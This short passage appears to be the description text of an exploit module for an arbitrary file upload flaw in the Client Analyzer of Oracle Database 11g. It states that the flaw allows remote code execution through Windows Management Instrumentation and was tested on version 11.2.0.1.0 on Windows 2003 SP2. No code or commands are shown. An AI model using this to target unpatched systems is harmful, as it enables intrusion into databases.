     This module exploits an arbitrary file upload vulnerability on the Client
    Analyzer component as included in Oracle Database 11g, which allows remote
    attackers to upload and execute arbitrary code. This module has been tested
    successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution
    through the Windows Management Instrumentation service has been used.
